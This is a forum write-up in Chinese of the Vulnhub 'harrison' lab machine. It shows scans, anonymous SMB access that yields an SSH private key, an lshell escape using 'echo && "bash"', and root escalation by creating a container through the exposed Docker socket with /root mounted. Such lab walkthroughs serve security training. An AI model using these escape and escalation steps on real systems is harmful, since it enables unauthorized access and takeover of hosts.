Vulnhub之Harrison靶机详细测试过程（提权成功）

科技颠覆者  金牌会员 | 2023-4-23 11:46:01 | 显示全部楼层 | 阅读模式
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Harrison

作者：jason huawen
靶机信息

名称: SP: harrison
地址：
  1. https://www.vulnhub.com/entry/sp-harrison,302/
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识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: Finished!   |   Screen View: Unique Hosts                                                              
  4.                                                                                                                            
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                           
  10. 192.168.56.100  08:00:27:19:b1:e6      1      60  PCS Systemtechnik GmbH                                                   
  11. 192.168.56.125  08:00:27:a8:46:b3      1      60  PCS Systemtechnik GmbH        
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利用Kali LInux的netdiscover工具识别目标主机的IP地址为192.168.56.125
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.125 -oN nmap_full_scan
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 19:19 EDT
  4. Nmap scan report for bogon (192.168.56.125)
  5. Host is up (0.000094s latency).
  6. Not shown: 65533 closed tcp ports (reset)
  7. PORT    STATE SERVICE     VERSION
  8. 22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  9. | ssh-hostkey:
  10. |   2048 5b87f1fe678fa6ba8b753c11343db6b8 (RSA)
  11. |   256 93877e2e5e4ece7156a11c6bfc1f6e55 (ECDSA)
  12. |_  256 c014c024e8a87ed4cda64225f3484794 (ED25519)
  13. 445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
  14. MAC Address: 08:00:27:A8:46:B3 (Oracle VirtualBox virtual NIC)
  15. Service Info: Host: HARRISON; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  17. Host script results:
  18. | smb2-time:
  19. |   date: 2023-04-23T07:19:44
  20. |_  start_date: N/A
  21. | smb-security-mode:
  22. |   account_used: guest
  23. |   authentication_level: user
  24. |   challenge_response: supported
  25. |_  message_signing: disabled (dangerous, but default)
  26. | smb2-security-mode:
  27. |   311:
  28. |_    Message signing enabled but not required
  29. | smb-os-discovery:
  30. |   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  31. |   Computer name: harrison
  32. |   NetBIOS computer name: HARRISON\x00
  33. |   Domain name: \x00
  34. |   FQDN: harrison
  35. |_  System time: 2023-04-23T07:19:45+00:00
  36. |_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s
  38. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  39. Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds
  40.                                                                
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NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、445（samba)
获得Shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ smbclient -L 192.168.56.125                                
  3. Password for [WORKGROUP\kali]:
  4. Anonymous login successful
  6.         Sharename       Type      Comment
  7.         ---------       ----      -------
  8.         Private         Disk      
  9.         IPC$            IPC       IPC Service (Samba 4.7.6-Ubuntu)
  10. Reconnecting with SMB1 for workgroup listing.
  11. do_connect: Connection to 192.168.56.125 failed (Error NT_STATUS_CONNECTION_REFUSED)
  12. Unable to connect with SMB1 -- no workgroup available
  13.                                                                                                                              
  14. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  15. └─$ smbclient //192.168.56.125/Private
  16. Password for [WORKGROUP\kali]:
  17. Anonymous login successful
  18. Try "help" to get a list of possible commands.
  19. smb: \> ls
  20.   .                                   D        0  Thu Apr 18 12:55:51 2019
  21.   ..                                  D        0  Thu Apr 18 12:12:55 2019
  22.   .bash_logout                        H      220  Wed Apr  4 14:30:26 2018
  23.   .profile                            H      807  Wed Apr  4 14:30:26 2018
  24.   .bashrc                             H     3771  Wed Apr  4 14:30:26 2018
  25.   silly_cats                          D        0  Thu Apr 18 12:55:51 2019
  26.   .ssh                               DH        0  Thu Apr 18 12:42:57 2019
  27.   flag.txt                            N       32  Thu Apr 18 12:14:18 2019
  29.                 32894736 blocks of size 1024. 27322884 blocks available
  30. smb: \> get flag.txt
  31. getting file \flag.txt of size 32 as flag.txt (15.6 KiloBytes/sec) (average 15.6 KiloBytes/sec)
  32. smb: \> cd .ssh
  33. smb: \.ssh\> ls
  34.   .                                   D        0  Thu Apr 18 12:42:57 2019
  35.   ..                                  D        0  Thu Apr 18 12:55:51 2019
  36.   authorized_keys                     N      399  Thu Apr 18 12:42:57 2019
  37.   id_rsa                              A     1679  Thu Apr 18 12:14:17 2019
  38.   id_rsa.pub                          A      399  Thu Apr 18 12:14:17 2019
  40.                 32894736 blocks of size 1024. 27322884 blocks available
  41. smb: \.ssh\> get id_rsa
  42. getting file \.ssh\id_rsa of size 1679 as id_rsa (546.5 KiloBytes/sec) (average 334.2 KiloBytes/sec)
  43. smb: \.ssh\> get id_rsa.pub
  44. getting file \.ssh\id_rsa.pub of size 399 as id_rsa.pub (194.8 KiloBytes/sec) (average 294.4 KiloBytes/sec)
  45. smb: \.ssh\> get authorized_keys
  46. getting file \.ssh\authorized_keys of size 399 as authorized_keys (129.9 KiloBytes/sec) (average 245.0 KiloBytes/sec)
  47. smb: \.ssh\> cd ..
  48. smb: \> cd silly_cats\
  49. smb: \silly_cats\> ls
  50.   .                                   D        0  Thu Apr 18 12:55:51 2019
  51.   ..                                  D        0  Thu Apr 18 12:55:51 2019
  52.   cat3.jpg                            N    38624  Mon Jan  8 13:30:10 2018
  53.   cat1.jpg                            N    73946  Mon Jan  8 13:29:40 2018
  54.   cat2.jpg                            N    74130  Mon Jan  8 13:29:32 2018
  56.                 32894736 blocks of size 1024. 27322884 blocks available
  57. smb: \silly_cats\> get cat1.jpg
  58. getting file \silly_cats\cat1.jpg of size 73946 as cat1.jpg (24070.2 KiloBytes/sec) (average 5743.3 KiloBytes/sec)
  59. smb: \silly_cats\> get cat2.jpg
  60. getting file \silly_cats\cat2.jpg of size 74130 as cat2.jpg (24130.1 KiloBytes/sec) (average 9191.0 KiloBytes/sec)
  61. smb: \silly_cats\> get cat3.jpg
  62. getting file \silly_cats\cat3.jpg of size 38624 as cat3.jpg (18858.5 KiloBytes/sec) (average 10265.2 KiloBytes/sec)
  63. smb: \silly_cats\> quit
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  1. ─(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ enum4linux 192.168.56.125   
  3. [+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                  
  4.                                                                                                                              
  5. S-1-22-1-1000 Unix User\harrison (Local User)      
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enum4linux识别出用户名harrison
  1. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ cat flag.txt     
  3. It's not going to be that easy.
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没那么容易？
  1.                                                                                                                            
  2. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  3. └─$ chmod 400 id_rsa  
  4.                                                                                                                              
  5. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  6. └─$ ssh -i id_rsa harrison@192.168.56.125
  7. The authenticity of host '192.168.56.125 (192.168.56.125)' can't be established.
  8. ED25519 key fingerprint is SHA256:O+XKyphfQuB/KW9A8/6nUKPZTAGMJNtRBH8CrijPGnY.
  9. This key is not known by any other names.
  10. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  11. Warning: Permanently added '192.168.56.125' (ED25519) to the list of known hosts.
  13. Welcome to Harrison. Enjoy your shell.
  15. Type '?' or 'help' to get the list of allowed commands
  16. harrison:~$ id
  17. *** forbidden command: id
  18. harrison:~$
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虽然得到了shell,但是这是受限的shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Harrison]
  2. └─$ ssh -i id_rsa harrison@192.168.56.125 -t /bin/sh
  3. *** forbidden shell escape: "/bin/sh"
  4. This incident has been reported.
  5. Connection to 192.168.56.125 closed.
  6.                                                 
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用-t选项指定不同的shell没能逃脱受限的Shell
  1. harrison:~$ echo $SHELL
  2. *** forbidden path: /usr/bin/lshell
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可知为lshell
  1. harrison:~$ echo && "bash"
  3. harrison@harrison:~$ ls -alh
  4. total 44K
  5. drwxr-xr-x 1 harrison harrison 4.0K Apr 23 07:31 .
  6. drwxr-xr-x 1 root     root     4.0K Apr 18  2019 ..
  7. -rw-r--r-- 1 harrison harrison  220 Apr  4  2018 .bash_logout
  8. -rw-r--r-- 1 harrison harrison 3.7K Apr  4  2018 .bashrc
  9. drwx------ 2 harrison harrison 4.0K Apr 23 07:24 .cache
  10. -rw------- 1 harrison harrison  272 Apr 23 07:31 .lhistory
  11. -rw-r--r-- 1 harrison harrison  807 Apr  4  2018 .profile
  12. drwxr-xr-x 1 harrison harrison 4.0K Apr 18  2019 .ssh
  13. -rw-r--r-- 1 root     root       32 Apr 18  2019 flag.txt
  14. drwxr-xr-x 2 root     root     4.0K Apr 18  2019 silly_cats
  15. harrison@harrison:~$ cd /home
  16. harrison@harrison:/home$ ls
  17. harrison
  18. harrison@harrison:/home$
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用echo && "bash"逃逸，成为正常的shell
  1. harrison@harrison:/root$ ls -alh
  2. total 20K
  3. drwxr-xr-x 1 root root 4.0K Apr 18  2019 .
  4. drwxr-xr-x 1 root root 4.0K Apr 23 07:16 ..
  5. -rw-r--r-- 1 root root 3.1K Apr  9  2018 .bashrc
  6. -rw-r--r-- 1 root root  148 Aug 17  2015 .profile
  7. -rwxr--r-- 1 root root   49 Apr 18  2019 flag.txt
  8. harrison@harrison:/root$ cat flag.txt
  9. Nope. No flags here. Where do you think you are?
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提权

提权是通过docker实现的，但是过程太复杂了，是参考其他人的做法才能完成。
查看现有的容器
  1. harrison@harrison:~$ cd /tmp
  3. harrison@harrison:/tmp$ curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
  4. [{"Id":"902f9eaf084a2da13ce02a097e80c39686c73c6af1ffcc78602c83dde49ae534","Names":["/nervous_proskuriakova"],"Image":"cont1:v1","ImageID":"sha256:6275c2bd4f72c6c417458fa6caecf2bc23bf823298650334c3c3bd42579aa95f","Command":"/bin/sh -c '/etc/init.d/smbd start && /etc/init.d/ssh start && bash' /bin/bash","Created":1682237761,"Ports":[{"IP":"0.0.0.0","PrivatePort":22,"PublicPort":22,"Type":"tcp"},{"IP":"0.0.0.0","PrivatePort":445,"PublicPort":445,"Type":"tcp"}],"Labels":{},"State":"running","Status":"Up 56 seconds","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"a81871ff28475882e034ea03bb1aab0b2ba4d0d1271312250f1db62337acc2b0","EndpointID":"01e3e3658c213f253bd4d957175f1007e23e6e4c2d9268e14d80a36512d531fb","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]}]
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创建新容器：
  1. harrison@harrison:/tmp$ echo -e '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}' > container.json
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查看新创建的容器：
  1. harrison@harrison:/tmp$ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
  2. {"Id":"ea0a8e5839ab3e2817b02fb086a63a776f06afcd5a4f742eb5d8a898aae3719f","Warnings":null}
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启动新容器：
  1. harrison@harrison:/tmp$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/ea0a/start
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连接新创建的容器：
  1. harrison@harrison:/tmp$ nc -U /var/run/docker.sock
  2. POST /containers/34b3/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
  3. Host:
  4. Connection: Upgrade
  5. Upgrade: tcp   
  7. HTTP/1.1 404 Not Found
  8. Content-Type: application/vnd.docker.raw-stream
  10. No such container: 34b3
  11. harrison@harrison:/tmp$ nc -U /var/run/docker.sock
  12. POST /containers/ea0a/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
  13. Host:
  14. Connection: Upgrade
  15. Upgrade: tcp
  17. HTTP/1.1 101 UPGRADED
  18. Content-Type: application/vnd.docker.raw-stream
  19. Connection: Upgrade
  20. Upgrade: tcp
  22. ls
  23. ]bin
  24. boot
  25. dev
  26. etc
  27. home
  28. lib
  29. lib64
  30. media
  31. mnt
  32. opt
  33. os_root
  34. proc
  35. root
  36. run
  37. sbin
  38. srv
  39. sys
  40. tmp
  41. usr
  42. var
  43. cd os_root
  44. ls -alh
  45. �total 32K
  46. drwx------ 3 root root 4.0K Apr 18  2019 .
  47. drwxr-xr-x 1 root root 4.0K Apr 23 08:18 ..
  48. -rw------- 1 root root  289 Apr 18  2019 .bash_history
  49. -rw-r--r-- 1 root root 3.1K Apr  9  2018 .bashrc
  50. drwxr-xr-x 3 root root 4.0K Apr 16  2019 .local
  51. -rw-r--r-- 1 root root  148 Aug 17  2015 .profile
  52. -rw-r--r-- 1 root root   66 Apr 18  2019 .selected_editor
  53. -rwx------ 1 root root   73 Apr 18  2019 flag.txt
  54. cat flag.txt
  55. IDo you think you are out?
  58. Just kidding, here is your flag: 1xcDF933mce
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注意这里所有的命令都需要保持容器ID一致

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